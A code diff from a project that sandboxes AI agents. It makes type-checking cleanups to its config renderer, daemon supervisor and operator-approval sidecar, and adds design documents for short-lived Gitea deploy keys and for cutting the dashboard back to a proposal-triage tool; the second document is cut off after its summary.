lines.append("tls_interception:")
|
||||||
tls = cfg["tls_interception"]
|
tls = cast(dict[str, object], cfg["tls_interception"])
|
||||||
assert isinstance(tls, dict)
|
lines.append(f" enabled: {_bool(cast(bool, tls['enabled']))}")
|
||||||
lines.append(f" enabled: {_bool(tls['enabled'])}")
|
lines.append(f' ca_cert: "{cast(str, tls["ca_cert"])}"')
|
||||||
lines.append(f' ca_cert: "{tls["ca_cert"]}"')
|
lines.append(f' ca_key: "{cast(str, tls["ca_key"])}"')
|
||||||
lines.append(f' ca_key: "{tls["ca_key"]}"')
|
passthrough = cast(list[str], tls["passthrough_domains"])
|
||||||
passthrough = tls["passthrough_domains"]
|
|
||||||
assert isinstance(passthrough, list)
|
|
||||||
if passthrough:
|
if passthrough:
|
||||||
lines.append(" passthrough_domains:")
|
lines.append(" passthrough_domains:")
|
||||||
for d in passthrough:
|
for d in passthrough:
|
||||||
@@ -457,11 +466,9 @@ def pipelock_render_yaml(cfg: dict[str, object]) -> str:
|
|||||||
if "ssrf" in cfg:
|
if "ssrf" in cfg:
|
||||||
lines.append("")
|
lines.append("")
|
||||||
lines.append("ssrf:")
|
lines.append("ssrf:")
|
||||||
ssrf = cfg["ssrf"]
|
ssrf = cast(dict[str, object], cfg["ssrf"])
|
||||||
assert isinstance(ssrf, dict)
|
|
||||||
lines.append(" ip_allowlist:")
|
lines.append(" ip_allowlist:")
|
||||||
ip_allowlist = ssrf["ip_allowlist"]
|
ip_allowlist = cast(list[str], ssrf["ip_allowlist"])
|
||||||
assert isinstance(ip_allowlist, list)
|
|
||||||
for ip in ip_allowlist:
|
for ip in ip_allowlist:
|
||||||
lines.append(f' - "{ip}"')
|
lines.append(f' - "{ip}"')
|
||||||
return "\n".join(lines) + "\n"
|
return "\n".join(lines) + "\n"
|
||||||
|
|||||||
@@ -138,7 +138,7 @@ def _pump(name: str, stream: IO[bytes]) -> None:
|
|||||||
sys.stdout.flush()
|
sys.stdout.flush()
|
||||||
|
|
||||||
|
|
||||||
def _spawn(spec: _DaemonSpec) -> subprocess.Popen:
|
def _spawn(spec: _DaemonSpec) -> subprocess.Popen[bytes]:
|
||||||
proc = subprocess.Popen(
|
proc = subprocess.Popen(
|
||||||
list(spec.argv),
|
list(spec.argv),
|
||||||
stdout=subprocess.PIPE,
|
stdout=subprocess.PIPE,
|
||||||
@@ -158,7 +158,7 @@ class _Supervisor:
|
|||||||
|
|
||||||
def __init__(self, specs: Sequence[_DaemonSpec]):
|
def __init__(self, specs: Sequence[_DaemonSpec]):
|
||||||
self.specs = tuple(specs)
|
self.specs = tuple(specs)
|
||||||
self.procs: list[tuple[_DaemonSpec, subprocess.Popen]] = []
|
self.procs: list[tuple[_DaemonSpec, subprocess.Popen[bytes]]] = []
|
||||||
self.shutdown_at: float | None = None
|
self.shutdown_at: float | None = None
|
||||||
# Names of children that have been logged as having exited
|
# Names of children that have been logged as having exited
|
||||||
# so we only log each death once across watch-loop ticks.
|
# so we only log each death once across watch-loop ticks.
|
||||||
@@ -360,20 +360,20 @@ def main(argv: Sequence[str] | None = None) -> int:
|
|||||||
sup = _Supervisor(specs)
|
sup = _Supervisor(specs)
|
||||||
sup.start_all()
|
sup.start_all()
|
||||||
|
|
||||||
signal.signal(signal.SIGTERM, lambda *_: sup.request_shutdown("SIGTERM"))
|
signal.signal(signal.SIGTERM, lambda *_: sup.request_shutdown("SIGTERM")) # type: ignore
|
||||||
signal.signal(signal.SIGINT, lambda *_: sup.request_shutdown("SIGINT"))
|
signal.signal(signal.SIGINT, lambda *_: sup.request_shutdown("SIGINT")) # type: ignore
|
||||||
# SIGHUP reload path: egress_apply.py runs `docker kill
|
# SIGHUP reload path: egress_apply.py runs `docker kill
|
||||||
# --signal HUP <bundle>` after writing routes.yaml. The kernel
|
# --signal HUP <bundle>` after writing routes.yaml. The kernel
|
||||||
# delivers SIGHUP to PID 1 (this supervisor); forward it to
|
# delivers SIGHUP to PID 1 (this supervisor); forward it to
|
||||||
# mitmdump so it reloads its addon.
|
# mitmdump so it reloads its addon.
|
||||||
signal.signal(signal.SIGHUP, lambda *_: sup.forward_signal(signal.SIGHUP, "egress"))
|
signal.signal(signal.SIGHUP, lambda *_: sup.forward_signal(signal.SIGHUP, "egress")) # type: ignore
|
||||||
# SIGUSR1 pipelock-restart path: pipelock_apply.py runs
|
# SIGUSR1 pipelock-restart path: pipelock_apply.py runs
|
||||||
# `docker kill --signal USR1 <bundle>` after writing
|
# `docker kill --signal USR1 <bundle>` after writing
|
||||||
# pipelock.yaml. Pipelock has no in-process reload, so the
|
# pipelock.yaml. Pipelock has no in-process reload, so the
|
||||||
# supervisor restarts the pipelock daemon in place (other
|
# supervisor restarts the pipelock daemon in place (other
|
||||||
# daemons keep running — specifically supervise, whose MCP
|
# daemons keep running — specifically supervise, whose MCP
|
||||||
# socket would drop on a whole-container `docker restart`).
|
# socket would drop on a whole-container `docker restart`).
|
||||||
signal.signal(signal.SIGUSR1, lambda *_: sup.request_restart("pipelock"))
|
signal.signal(signal.SIGUSR1, lambda *_: sup.request_restart("pipelock")) # type: ignore
|
||||||
|
|
||||||
while not sup.tick():
|
while not sup.tick():
|
||||||
time.sleep(_POLL_INTERVAL)
|
time.sleep(_POLL_INTERVAL)
|
||||||
|
|||||||
@@ -12,8 +12,8 @@ agent calls when it hits a stuck-recovery category:
|
|||||||
Each tool call: the agent passes the full proposed file plus a
|
Each tool call: the agent passes the full proposed file plus a
|
||||||
justification text. The sidecar validates the proposal syntactically,
|
justification text. The sidecar validates the proposal syntactically,
|
||||||
writes it to the host's per-bottle queue dir, and holds the tool-call
|
writes it to the host's per-bottle queue dir, and holds the tool-call
|
||||||
connection open. The operator's TUI dashboard
|
connection open. The operator's supervise TUI
|
||||||
(bot_bottle.cli.dashboard) sees the proposal, accepts
|
(bot_bottle.cli.supervise) sees the proposal, accepts
|
||||||
approve / modify / reject, and writes a response file alongside the
|
approve / modify / reject, and writes a response file alongside the
|
||||||
proposal. The sidecar sees the response and returns `{status, notes}`
|
proposal. The sidecar sees the response and returns `{status, notes}`
|
||||||
to the agent.
|
to the agent.
|
||||||
@@ -40,7 +40,7 @@ import json
|
|||||||
import os
|
import os
|
||||||
import time
|
import time
|
||||||
import uuid
|
import uuid
|
||||||
from abc import ABC, abstractmethod
|
from abc import ABC
|
||||||
from dataclasses import dataclass
|
from dataclasses import dataclass
|
||||||
from datetime import datetime, timezone
|
from datetime import datetime, timezone
|
||||||
from pathlib import Path
|
from pathlib import Path
|
||||||
@@ -519,22 +519,22 @@ def _atomic_write(path: Path, content: str, *, mode: int) -> None:
|
|||||||
try:
|
try:
|
||||||
import fcntl as _fcntl
|
import fcntl as _fcntl
|
||||||
|
|
||||||
def _try_flock(fd: int) -> None:
|
def _try_flock(fd: int) -> None: # type: ignore[reportRedeclaration]
|
||||||
try:
|
try:
|
||||||
_fcntl.flock(fd, _fcntl.LOCK_EX)
|
_fcntl.flock(fd, _fcntl.LOCK_EX)
|
||||||
except OSError:
|
except OSError:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
def _try_funlock(fd: int) -> None:
|
def _try_funlock(fd: int) -> None: # type: ignore[reportRedeclaration]
|
||||||
try:
|
try:
|
||||||
_fcntl.flock(fd, _fcntl.LOCK_UN)
|
_fcntl.flock(fd, _fcntl.LOCK_UN)
|
||||||
except OSError:
|
except OSError:
|
||||||
pass
|
pass
|
||||||
except ImportError: # pragma: no cover — Windows path
|
except ImportError: # pragma: no cover — Windows path
|
||||||
def _try_flock(fd: int) -> None:
|
def _try_flock(fd: int) -> None: # noqa: F841 — Windows fallback
|
||||||
return None
|
return None
|
||||||
|
|
||||||
def _try_funlock(fd: int) -> None:
|
def _try_funlock(fd: int) -> None: # noqa: F841 — Windows fallback
|
||||||
return None
|
return None
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -159,7 +159,10 @@ TOOL_DEFINITIONS: list[dict[str, object]] = [
|
|||||||
"properties": {
|
"properties": {
|
||||||
"host": {
|
"host": {
|
||||||
"type": "string",
|
"type": "string",
|
||||||
"description": "The hostname to allow (e.g. 'api.github.com'). Case-insensitive on match.",
|
"description": (
|
||||||
|
"The hostname to allow (e.g. 'api.github.com'). "
|
||||||
|
"Case-insensitive on match."
|
||||||
|
),
|
||||||
},
|
},
|
||||||
"path_allowlist": {
|
"path_allowlist": {
|
||||||
"type": "array",
|
"type": "array",
|
||||||
@@ -482,7 +485,7 @@ def handle_tools_call(
|
|||||||
if not isinstance(name, str):
|
if not isinstance(name, str):
|
||||||
raise _RpcError(ERR_INVALID_PARAMS, "tools/call missing 'name'")
|
raise _RpcError(ERR_INVALID_PARAMS, "tools/call missing 'name'")
|
||||||
if name == _sv.TOOL_LIST_EGRESS_ROUTES:
|
if name == _sv.TOOL_LIST_EGRESS_ROUTES:
|
||||||
return handle_list_egress_routes(params.get("arguments", {}), config)
|
return handle_list_egress_routes(typing.cast(dict[str, object], params.get("arguments", {})), config)
|
||||||
|
|
||||||
args_raw = params.get("arguments", {})
|
args_raw = params.get("arguments", {})
|
||||||
if not isinstance(args_raw, dict):
|
if not isinstance(args_raw, dict):
|
||||||
@@ -587,7 +590,7 @@ class MCPHandler(http.server.BaseHTTPRequestHandler):
|
|||||||
|
|
||||||
server_version = f"{SERVER_NAME}/{SERVER_VERSION}"
|
server_version = f"{SERVER_NAME}/{SERVER_VERSION}"
|
||||||
|
|
||||||
def log_message(self, format: str, *args: typing.Any) -> None:
|
def log_message(self, format: str, *args: typing.Any) -> None: # noqa: A002
|
||||||
if os.environ.get("SUPERVISE_DEBUG"):
|
if os.environ.get("SUPERVISE_DEBUG"):
|
||||||
super().log_message(format, *args)
|
super().log_message(format, *args)
|
||||||
|
|
||||||
@@ -627,7 +630,7 @@ class MCPHandler(http.server.BaseHTTPRequestHandler):
|
|||||||
except _RpcError as e:
|
except _RpcError as e:
|
||||||
self._write_jsonrpc(jsonrpc_error(req.id, e.code, e.message))
|
self._write_jsonrpc(jsonrpc_error(req.id, e.code, e.message))
|
||||||
return
|
return
|
||||||
except Exception as e: # pragma: no cover — defensive
|
except Exception as e: # noqa: W0718 — catch-all for RPC dispatch errors
|
||||||
sys.stderr.write(f"supervise: internal error: {e}\n")
|
sys.stderr.write(f"supervise: internal error: {e}\n")
|
||||||
self._write_jsonrpc(jsonrpc_error(req.id, ERR_INTERNAL, "internal error"))
|
self._write_jsonrpc(jsonrpc_error(req.id, ERR_INTERNAL, "internal error"))
|
||||||
return
|
return
|
||||||
|
|||||||
@@ -13,8 +13,15 @@ DEFAULT_WORKSPACE_MODE = "755"
|
|||||||
|
|
||||||
|
|
||||||
class WorkspaceSpec(Protocol):
|
class WorkspaceSpec(Protocol):
|
||||||
copy_cwd: bool
|
@property
|
||||||
user_cwd: str
|
def copy_cwd(self) -> bool:
|
||||||
|
"""Whether to copy the current working directory."""
|
||||||
|
...
|
||||||
|
|
||||||
|
@property
|
||||||
|
def user_cwd(self) -> str:
|
||||||
|
"""The user's current working directory."""
|
||||||
|
...
|
||||||
|
|
||||||
|
|
||||||
@dataclass(frozen=True)
|
@dataclass(frozen=True)
|
||||||
|
|||||||
@@ -58,6 +58,7 @@ from __future__ import annotations
|
|||||||
|
|
||||||
import re
|
import re
|
||||||
from dataclasses import dataclass
|
from dataclasses import dataclass
|
||||||
|
from typing import cast
|
||||||
|
|
||||||
|
|
||||||
class YamlSubsetError(ValueError):
|
class YamlSubsetError(ValueError):
|
||||||
@@ -283,7 +284,7 @@ def _split_flow(body: str, lineno: int, kind: str) -> list[str]:
|
|||||||
depth_c = 0
|
depth_c = 0
|
||||||
in_single = False
|
in_single = False
|
||||||
in_double = False
|
in_double = False
|
||||||
cur = []
|
cur: list[str] = []
|
||||||
for ch in body:
|
for ch in body:
|
||||||
if ch == "'" and not in_double:
|
if ch == "'" and not in_double:
|
||||||
in_single = not in_single
|
in_single = not in_single
|
||||||
@@ -330,6 +331,7 @@ def _split_key_value(content: str, lineno: int) -> tuple[str, str]:
|
|||||||
if i + 1 >= len(content) or content[i + 1] in (" ", "\t"):
|
if i + 1 >= len(content) or content[i + 1] in (" ", "\t"):
|
||||||
return content[:i].strip(), content[i + 1:].lstrip()
|
return content[:i].strip(), content[i + 1:].lstrip()
|
||||||
die(f"yaml-subset: line {lineno} missing `: ` separator: {content!r}")
|
die(f"yaml-subset: line {lineno} missing `: ` separator: {content!r}")
|
||||||
|
return "", "" # unreachable, but needed for type checker
|
||||||
|
|
||||||
|
|
||||||
def _parse_block(
|
def _parse_block(
|
||||||
@@ -536,7 +538,7 @@ def parse_yaml_subset(text: str) -> dict[str, object]:
|
|||||||
)
|
)
|
||||||
if not isinstance(value, dict):
|
if not isinstance(value, dict):
|
||||||
die("yaml-subset: top-level value must be a mapping")
|
die("yaml-subset: top-level value must be a mapping")
|
||||||
return value
|
return cast(dict[str, object], value)
|
||||||
|
|
||||||
|
|
||||||
def parse_frontmatter(text: str) -> tuple[dict[str, object], str]:
|
def parse_frontmatter(text: str) -> tuple[dict[str, object], str]:
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
# PRD 0019: Active agents in the dashboard, agent-scoped edit verbs
|
# PRD 0019: Active agents in the dashboard, agent-scoped edit verbs
|
||||||
|
|
||||||
- **Status:** Active
|
- **Status:** Superseded by [PRD 0049](0049-strip-dashboard-to-supervisor-tui.md)
|
||||||
- **Author:** didericis
|
- **Author:** didericis
|
||||||
- **Created:** 2026-05-26
|
- **Created:** 2026-05-26
|
||||||
|
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
# PRD 0020: Start and attach to agents from inside the dashboard
|
# PRD 0020: Start and attach to agents from inside the dashboard
|
||||||
|
|
||||||
- **Status:** Active
|
- **Status:** Superseded by [PRD 0049](0049-strip-dashboard-to-supervisor-tui.md)
|
||||||
- **Author:** didericis
|
- **Author:** didericis
|
||||||
- **Created:** 2026-05-26
|
- **Created:** 2026-05-26
|
||||||
|
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
# PRD 0021: Dashboard as left tmux pane, selected agent as right pane
|
# PRD 0021: Dashboard as left tmux pane, selected agent as right pane
|
||||||
|
|
||||||
- **Status:** Active
|
- **Status:** Superseded by [PRD 0049](0049-strip-dashboard-to-supervisor-tui.md)
|
||||||
- **Author:** didericis
|
- **Author:** didericis
|
||||||
- **Created:** 2026-05-26
|
- **Created:** 2026-05-26
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,296 @@
|
|||||||
|
# PRD 0048: SSH Deploy-Key Provisioning
|
||||||
|
|
||||||
|
- **Status:** Active
|
||||||
|
- **Author:** didericis-claude
|
||||||
|
- **Created:** 2026-06-03
|
||||||
|
- **Issue:** #169
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
Replace per-repo static SSH identity files with short-lived ed25519 deploy
|
||||||
|
keys that are generated at spin-up and revoked at teardown. Introduce
|
||||||
|
`bot_bottle/contrib/` as the package for platform-specific provisioners and
|
||||||
|
ship the first contrib sub-package: `bot_bottle/contrib/gitea/` with
|
||||||
|
`GiteaDeployKeyProvisioner`. A new `provisioned_key:` block in `git-gate.repos`
|
||||||
|
entries opts a repo into automatic key lifecycle management; `identity:` stays
|
||||||
|
valid for operators who supply their own key material.
|
||||||
|
|
||||||
|
## Problem
|
||||||
|
|
||||||
|
The current `git-gate.repos` entries require an `identity:` field pointing to
|
||||||
|
a host-side SSH private key (PRD 0047). Keys are static: the operator generates
|
||||||
|
them once, registers them with the upstream forge, and the same key is reused
|
||||||
|
across every bottle spin-up. This has several consequences:
|
||||||
|
|
||||||
|
- **No automatic revocation.** If a bottle misbehaves or a key leaks, the
|
||||||
|
operator must notice and manually delete the key from the forge. There is no
|
||||||
|
teardown hook that does it.
|
||||||
|
- **Broad blast radius.** A forge deploy key typically grants write access for
|
||||||
|
the lifetime of the key. A static key that survives bottle teardown continues
|
||||||
|
to grant that access.
|
||||||
|
- **Manual rotation burden.** Operators must manage key files on disk, keeping
|
||||||
|
them secure, rotating them on a schedule, and distributing them across hosts
|
||||||
|
that run `./cli.py start`.
|
||||||
|
|
||||||
|
## Goals / Success Criteria
|
||||||
|
|
||||||
|
- `git-gate.repos` entries accept `provisioned_key:` as an alternative to
|
||||||
|
`identity:`. The parser rejects entries that have both, or neither.
|
||||||
|
- `provisioned_key.provider: gitea` provisions and revokes deploy keys via the
|
||||||
|
Gitea HTTP API.
|
||||||
|
- At prepare time the provisioner generates a fresh ed25519 keypair, registers
|
||||||
|
the public half as a repo-scoped deploy key, and makes the private key
|
||||||
|
available to git-gate at the path it expects — the rest of the pipeline is
|
||||||
|
unchanged.
|
||||||
|
- At teardown the provisioner deletes the registered deploy key. Failure to
|
||||||
|
delete halts teardown and propagates the error loudly.
|
||||||
|
- `bot_bottle/contrib/` is introduced as the package for platform-specific
|
||||||
|
implementations; the core defines the abstract interface; contrib sub-packages
|
||||||
|
provide concrete implementations.
|
||||||
|
- Existing `identity:`-based repos continue to work without change.
|
||||||
|
- The unit test suite passes unchanged for `identity:` paths; new tests cover
|
||||||
|
`provisioned_key:` parse, validation, and provisioner dispatch.
|
||||||
|
|
||||||
|
## Non-goals
|
||||||
|
|
||||||
|
- GitHub, GitLab, or other forge providers (a future contrib sub-package each).
|
||||||
|
- Dashboard UI for listing or revoking orphaned deploy keys.
|
||||||
|
- SSH CA certificate approach (rejected in the issue thread in favour of
|
||||||
|
per-repo deploy keys for simpler revocation, smaller blast radius, and forge
|
||||||
|
compatibility).
|
||||||
|
- Key rotation mid-session (keys live for exactly one spin-up / teardown cycle).
|
||||||
|
- Any change to how `identity:` repos are provisioned.
|
||||||
|
|
||||||
|
## Design
|
||||||
|
|
||||||
|
### Manifest changes (builds on PRD 0047)
|
||||||
|
|
||||||
|
`git-gate.repos.<name>` currently accepts exactly:
|
||||||
|
|
||||||
|
```
|
||||||
|
url (required string)
|
||||||
|
identity (required string)
|
||||||
|
host_key (optional string)
|
||||||
|
```
|
||||||
|
|
||||||
|
After this PRD:
|
||||||
|
|
||||||
|
```
|
||||||
|
url (required string)
|
||||||
|
identity (optional string — mutually exclusive with provisioned_key)
|
||||||
|
provisioned_key (optional object — mutually exclusive with identity)
|
||||||
|
host_key (optional string)
|
||||||
|
```
|
||||||
|
|
||||||
|
Exactly one of `identity` or `provisioned_key` must be present. The parser
|
||||||
|
emits a targeted error for each violation:
|
||||||
|
|
||||||
|
```
|
||||||
|
bottle 'dev' git-gate.repos['bot-bottle'] must set exactly one of
|
||||||
|
'identity' or 'provisioned_key'; got neither.
|
||||||
|
|
||||||
|
bottle 'dev' git-gate.repos['bot-bottle'] must set exactly one of
|
||||||
|
'identity' or 'provisioned_key'; got both.
|
||||||
|
```
|
||||||
|
|
||||||
|
`provisioned_key` object schema:
|
||||||
|
|
||||||
|
```yaml
|
||||||
|
provisioned_key:
|
||||||
|
provider: gitea # required; names the contrib module to load
|
||||||
|
token_env: GITEA_TOKEN # required; name of a host env var holding the API token
|
||||||
|
api_url: https://... # optional; defaults to https://<host from url>
|
||||||
|
```
|
||||||
|
|
||||||
|
| Field | Type | Notes |
|
||||||
|
|-------|------|-------|
|
||||||
|
| `provider` | required string | Must match a sub-package under `bot_bottle/contrib/` |
|
||||||
|
| `token_env` | required string | Resolved at provision time via `os.environ`; never stored in plan |
|
||||||
|
| `api_url` | optional string | Override when the API endpoint differs from the git host |
|
||||||
|
|
||||||
|
**Example bottle manifest:**
|
||||||
|
|
||||||
|
```yaml
|
||||||
|
git-gate:
|
||||||
|
user:
|
||||||
|
name: implementer-bot
|
||||||
|
email: eric+implementer@dideric.is
|
||||||
|
repos:
|
||||||
|
bot-bottle:
|
||||||
|
url: ssh://git@gitea.dideric.is:30009/didericis/bot-bottle.git
|
||||||
|
provisioned_key:
|
||||||
|
provider: gitea
|
||||||
|
token_env: GITEA_DEPLOY_TOKEN
|
||||||
|
host_key: "ssh-rsa AAAA..."
|
||||||
|
```
|
||||||
|
|
||||||
|
### `contrib` package structure
|
||||||
|
|
||||||
|
```
|
||||||
|
bot_bottle/
|
||||||
|
contrib/
|
||||||
|
__init__.py # empty; no core symbols
|
||||||
|
gitea/
|
||||||
|
__init__.py # empty
|
||||||
|
deploy_key_provisioner.py
|
||||||
|
```
|
||||||
|
|
||||||
|
`contrib` is a flat namespace of forge/platform sub-packages. Each sub-package
|
||||||
|
is self-contained; the core imports from contrib lazily (inside factory
|
||||||
|
functions) so that missing optional dependencies in a contrib sub-package don't
|
||||||
|
break unrelated features.
|
||||||
|
|
||||||
|
### Core interface
|
||||||
|
|
||||||
|
New file: `bot_bottle/deploy_key_provisioner.py`
|
||||||
|
|
||||||
|
```python
|
||||||
|
from abc import ABC, abstractmethod
|
||||||
|
|
||||||
|
class DeployKeyProvisioner(ABC):
|
||||||
|
@abstractmethod
|
||||||
|
def create(self, owner_repo: str, title: str) -> tuple[str, bytes]:
|
||||||
|
"""Generate a keypair and register the public half.
|
||||||
|
|
||||||
|
owner_repo: '<owner>/<repo>' portion of the git upstream URL.
|
||||||
|
title: human-readable label shown in the forge key list.
|
||||||
|
|
||||||
|
Returns (key_id, private_key_pem) where key_id is opaque to
|
||||||
|
the caller and is only passed back to delete()."""
|
||||||
|
|
||||||
|
@abstractmethod
|
||||||
|
def delete(self, owner_repo: str, key_id: str) -> None:
|
||||||
|
"""Delete the registered deploy key.
|
||||||
|
|
||||||
|
Must not raise if the key is already absent (HTTP 404 is success).
|
||||||
|
Must raise for all other failures so that teardown halts."""
|
||||||
|
|
||||||
|
|
||||||
|
def get_provisioner(provider: str, token: str, api_url: str) -> DeployKeyProvisioner:
|
||||||
|
"""Instantiate the named contrib provisioner.
|
||||||
|
|
||||||
|
Raises ManifestError for unknown providers so the error is caught
|
||||||
|
at parse time rather than at runtime."""
|
||||||
|
if provider == "gitea":
|
||||||
|
from bot_bottle.contrib.gitea.deploy_key_provisioner import (
|
||||||
|
GiteaDeployKeyProvisioner,
|
||||||
|
)
|
||||||
|
return GiteaDeployKeyProvisioner(token=token, api_url=api_url)
|
||||||
|
from .manifest_util import ManifestError
|
||||||
|
raise ManifestError(f"unknown provisioned_key provider: {provider!r}")
|
||||||
|
```
|
||||||
|
|
||||||
|
### Gitea contrib implementation
|
||||||
|
|
||||||
|
`bot_bottle/contrib/gitea/deploy_key_provisioner.py`:
|
||||||
|
|
||||||
|
`create(owner_repo, title)`:
|
||||||
|
1. Generate an ed25519 keypair via `ssh-keygen -t ed25519 -f <tmpfile> -N ''`
|
||||||
|
(uses the SSH tooling already required by git-gate; no new Python dependency).
|
||||||
|
2. Read the private key bytes and the `.pub` file.
|
||||||
|
3. `POST /api/v1/repos/{owner}/{repo}/keys` with the public key, `title`, and
|
||||||
|
`read_only: false` (deploy keys always need push access for git-gate).
|
||||||
|
4. Return `(str(response["id"]), private_key_bytes)`.
|
||||||
|
|
||||||
|
`delete(owner_repo, key_id)`:
|
||||||
|
1. `DELETE /api/v1/repos/{owner}/{repo}/keys/{id}`.
|
||||||
|
2. Treat HTTP 404 as success (key already gone).
|
||||||
|
3. Raise `RuntimeError` for any other non-2xx response or network error,
|
||||||
|
including the status code and response body in the message.
|
||||||
|
|
||||||
|
HTTP calls use `urllib.request` from the stdlib; no new runtime dependency.
|
||||||
|
|
||||||
|
### `GitEntry` dataclass changes
|
||||||
|
|
||||||
|
`bot_bottle/manifest_git.py`:
|
||||||
|
|
||||||
|
- Add `ProvisionedKeyConfig` dataclass:
|
||||||
|
|
||||||
|
```python
|
||||||
|
@dataclass(frozen=True)
|
||||||
|
class ProvisionedKeyConfig:
|
||||||
|
provider: str
|
||||||
|
token_env: str
|
||||||
|
api_url: str # empty string means "derive from UpstreamHost"
|
||||||
|
```
|
||||||
|
|
||||||
|
- `GitEntry`:
|
||||||
|
- `IdentityFile: str` unchanged internally; empty string when
|
||||||
|
`provisioned_key` is used; set at provision time, not parse time.
|
||||||
|
- New field: `ProvisionedKey: ProvisionedKeyConfig | None = None`
|
||||||
|
- `from_repos_entry` validates the mutually-exclusive constraint and parses
|
||||||
|
the `provisioned_key` block when present.
|
||||||
|
|
||||||
|
### `GitGateUpstream` / prepare-time changes
|
||||||
|
|
||||||
|
`bot_bottle/git_gate.py` and `bot_bottle/backend/docker/provision/git.py`:
|
||||||
|
|
||||||
|
The existing path writes the identity file path into `GitGateUpstream.IdentityFile`
|
||||||
|
and docker-cp's it into `/git-gate/creds/<name>-key`. That path stays unchanged
|
||||||
|
for `identity:` repos.
|
||||||
|
|
||||||
|
For `provisioned_key:` repos, a new helper `provision_deploy_key(entry,
|
||||||
|
stage_dir, bottle_name)` runs before the git-gate sidecar starts:
|
||||||
|
|
||||||
|
1. Resolve `token = os.environ[entry.ProvisionedKey.token_env]`. Missing key
|
||||||
|
raises `RuntimeError` with a clear message naming the env var.
|
||||||
|
2. Resolve `api_url = entry.ProvisionedKey.api_url or f"https://{entry.UpstreamHost}"`.
|
||||||
|
3. Instantiate `get_provisioner(entry.ProvisionedKey.provider, token, api_url)`.
|
||||||
|
4. Call `provisioner.create(entry.UpstreamPath.lstrip("/"), title)` where
|
||||||
|
`title = f"bot-bottle:{bottle_name}:{entry.Name}"`.
|
||||||
|
5. Write private key to `stage_dir / f"{entry.Name}-key"` (mode 0o600).
|
||||||
|
6. Write key ID to `stage_dir / f"{entry.Name}-deploy-key-id"` (plain text).
|
||||||
|
7. Return the key file path; caller sets `GitGateUpstream.IdentityFile` to it.
|
||||||
|
|
||||||
|
`owner_repo` is extracted from `entry.UpstreamPath` (the path component of the
|
||||||
|
`ssh://` URL, e.g. `/didericis/bot-bottle.git` → `didericis/bot-bottle`).
|
||||||
|
|
||||||
|
### Teardown changes
|
||||||
|
|
||||||
|
`bot_bottle/backend/docker/cleanup.py` (or the equivalent teardown path):
|
||||||
|
|
||||||
|
After the git-gate sidecar stops, for each `GitEntry` with `ProvisionedKey`
|
||||||
|
set:
|
||||||
|
|
||||||
|
1. Check that `stage_dir / f"{entry.Name}-deploy-key-id"` exists; skip if
|
||||||
|
absent (provision never ran or already cleaned up).
|
||||||
|
2. Resolve token and API URL as above.
|
||||||
|
3. Instantiate provisioner and call `provisioner.delete(owner_repo, key_id)`.
|
||||||
|
4. On success, log at INFO. On failure, allow the exception to propagate —
|
||||||
|
teardown halts and the error surfaces to the operator.
|
||||||
|
|
||||||
|
A stranded deploy key is a security concern: the operator must know about it
|
||||||
|
and address it manually. Silent continuation is not acceptable.
|
||||||
|
|
||||||
|
The private key file in `stage_dir` is cleaned up as part of normal stage-dir
|
||||||
|
teardown (no extra step needed).
|
||||||
|
|
||||||
|
## Testing strategy
|
||||||
|
|
||||||
|
```
|
||||||
|
python3 -m unittest discover -s tests/unit
|
||||||
|
```
|
||||||
|
|
||||||
|
New / modified test files:
|
||||||
|
|
||||||
|
- `tests/unit/test_manifest_git.py` — add cases for:
|
||||||
|
- `provisioned_key:` accepted with valid `provider`, `token_env`, optional `api_url`
|
||||||
|
- Both `identity` and `provisioned_key` present → `ManifestError`
|
||||||
|
- Neither `identity` nor `provisioned_key` present → `ManifestError`
|
||||||
|
- Unknown key inside `provisioned_key` block → `ManifestError`
|
||||||
|
- Missing `provider` or `token_env` inside `provisioned_key` → `ManifestError`
|
||||||
|
|
||||||
|
- `tests/unit/test_deploy_key_provisioner.py` — new:
|
||||||
|
- `get_provisioner("gitea", ...)` returns `GiteaDeployKeyProvisioner`
|
||||||
|
- `get_provisioner("unknown", ...)` raises `ManifestError`
|
||||||
|
|
||||||
|
- `tests/unit/test_contrib_gitea_deploy_key.py` — new (using `unittest.mock`
|
||||||
|
to stub `urllib.request.urlopen` and `subprocess.run`):
|
||||||
|
- `create()` calls `ssh-keygen`, POSTs to correct endpoint, returns key ID
|
||||||
|
- `delete()` DELETEs to correct endpoint
|
||||||
|
- `delete()` tolerates HTTP 404 (already-deleted key)
|
||||||
|
- `delete()` raises `RuntimeError` on non-404 HTTP error
|
||||||
|
|
||||||
|
## Open questions
|
||||||
|
|
||||||
|
None.
|
||||||
@@ -0,0 +1,343 @@
|
|||||||
|
|
||||||
|
- **Status:** Active
|
||||||
|
- **Author:** didericis
|
||||||
|
- **Created:** 2026-06-03
|
||||||
|
- **Issue:** #174
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
The `./cli.py dashboard` command has grown from its PRD 0013 roots
|
||||||
|
(triage supervise proposals) into a parallel-agent control surface
|
||||||
|
(PRDs 0019/0020/0021): an active-agents pane, agent picker + start,
|
||||||
|
re-attach, per-bottle stop, tmux split-pane handoff, operator-
|
||||||
|
initiated `routes`/`pipelock` edits. Each chunk is reasonable on its
|
||||||
|
own; together they make the dashboard the largest CLI file in the
|
||||||
|
repo and the thing most likely to break on a rough edge (curses /
|
||||||
|
tmux / docker-exec / metadata-discovery interactions).
|
||||||
|
|
||||||
|
This PRD reverses that scope creep. The dashboard is reduced to the
|
||||||
|
**supervise-plane triage TUI** it was in PRDs 0013–0016: list pending
|
||||||
|
proposals, approve / modify / reject each one, write audit entries,
|
||||||
|
deliver the response that unblocks the agent's tool call. Everything
|
||||||
|
that's about *starting / re-entering / stopping* bottles, or about
|
||||||
|
*operator-initiated* config edits, comes out. The command is renamed
|
||||||
|
`./cli.py supervise` so the name matches what it does after the cut.
|
||||||
|
|
||||||
|
Future agent-management UX is explicitly punted: if and when a
|
||||||
|
control surface for parallel agents resurfaces, the working
|
||||||
|
assumption (per the issue) is that a web GUI — usable from mobile
|
||||||
|
— is a better second pass than another round of curses iteration.
|
||||||
|
That decision is not in this PRD's scope; this PRD only removes the
|
||||||
|
half-built local-curses path so we stop maintaining it.
|
||||||
|
|
||||||
|
## Problem
|
||||||
|
|
||||||
|
